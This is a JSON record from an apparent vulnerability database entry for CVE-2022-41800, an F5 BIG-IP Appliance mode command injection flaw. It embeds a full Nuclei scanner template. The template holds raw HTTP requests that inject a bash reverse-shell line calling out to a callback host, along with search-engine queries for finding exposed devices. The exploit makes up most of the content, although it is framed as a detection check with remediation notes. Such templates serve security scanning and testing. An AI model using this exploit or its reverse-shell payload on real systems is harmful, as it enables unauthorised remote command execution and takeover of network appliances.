{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2022-41800/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2022-41800/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2022-41800/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2022-41800/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2022-41800/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2022-41800"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2022-41800"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2022/CVE-2022-41800.yaml",
    "nuclei_template_severity": "high",
    "nuclei_template_yaml": "id: CVE-2022-41800\n\ninfo:\n  name: F5 BIG-IP Appliance Mode - Command Injection\n  author: dwisiswant0\n  severity: high\n  description: |\n    When running in Appliance mode, an authenticated user assigned the Administrator role may bypass Appliance mode restrictions, utilizing an undisclosed iControl REST endpoint.\n  remediation: |\n    Apply security patches from F5 Networks as outlined in K97843387 and ensure Appliance mode restrictions are properly enforced.\n  impact: |\n    A successful exploit can allow the attacker to execute remote commands on server using authorization bypass (CVE-2022-1388).\n  reference:\n    - https://attackerkb.com/topics/ZClTQn4aG4/cve-2022-41800/rapid7-analysis\n    - https://support.f5.com/csp/article/K97843387\n    - https://support.f5.com/csp/article/K13325942\n    - https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/\n    - https://nvd.nist.gov/vuln/detail/cve-2022-41800\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N\n    cvss-score: 8.7\n    cve-id: CVE-2022-41800\n    cwe-id: CWE-77\n    epss-score: 0.76866\n    epss-percentile: 0.99533\n    cpe: cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 2\n    verified: true\n    vendor: f5\n    product: big-ip_access_policy_manager\n    shodan-query:\n      - http.title:\"big-ip®-+redirect\" +\"server\"\n      - http.html:\"big-ip apm\"\n    fofa-query:\n      - body=\"big-ip apm\"\n      - title=\"big-ip®-+redirect\" +\"server\"\n    google-query: intitle:\"big-ip®-+redirect\" +\"server\"\n  tags: cve,cve2022,rce,f5,bigip,instrusive,vkev,vuln\n\nvariables:\n  auth: \"admin:{{rand_text_alpha(1)}}\"\n  rand_app: \"{{to_lower(rand_text_alpha(6))}}\"\n  rand_ver: \"{{rand_text_numeric(1)}}.{{rand_text_numeric(1)}}.{{rand_text_numeric(1)}}\"\n  rand_rel: \"{{rand_text_numeric(1)}}.{{rand_text_numeric(1)}}.{{rand_text_numeric(1)}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /mgmt/shared/iapp/rpm-spec-creator HTTP/1.1\n        Host: {{Hostname}}\n        X-F5-Auth-Token: {{to_lower(rand_text_alpha(1))}}\n        Authorization: Basic {{base64(auth)}}\n        Content-Type: application/json\n        Connection: keep-alive, X-F5-Auth-Token, X-Forwarded-Host\n\n        {\n          \"specFileData\": {\n            \"name\": \"{{rand_app}}\",\n            \"srcBasePath\": \"/tmp\",\n            \"version\": \"{{rand_ver}}\",\n            \"release\": \"{{rand_rel}}\",\n            \"description\": \"\\n\\n%check\\nbash -i >& /dev/tcp/{{interactsh-url}}/{{rand_text_numeric(4)}} 0>&1\",\n            \"summary\": \"{{to_lower(rand_text_alphanumeric(10))}}\"\n          }\n        }\n\n      - |\n        POST /mgmt/shared/iapp/build-package HTTP/1.1\n        Host: {{Hostname}}\n        X-F5-Auth-Token: {{to_lower(rand_text_alpha(1))}}\n        Authorization: Basic {{base64(auth)}}\n        Content-Type: application/json\n        Connection: keep-alive, X-F5-Auth-Token, X-Forwarded-Host\n\n        {\n          \"state\": {},\n          \"appName\": \"{{rand_app}}\",\n          \"packageDirectory\": \"/tmp\",\n          \"specFilePath\": \"{{spec}}\",\n          \"force\": true\n        }\n\n    extractors:\n      - type: json\n        part: body\n        name: spec\n        json:\n          - \".specFilePath\"\n        internal: true\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"dns\"\n\n      - type: word\n        part: body\n        words:\n          - \"RUN_BUILD_RPM_TASK\"\n          - \"shared:iapp:build-package:buildrpmtaskstate\"\n# digest: 490a0046304402201a3aa8536adae661a4a62906292845b4e4514269a44c826a96ddc0a7f90d97d9022019373f7d34ab0d9608dbd6bd814c759095cadefb3448643ca34ef47eb55fe21c:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2022-41800"
}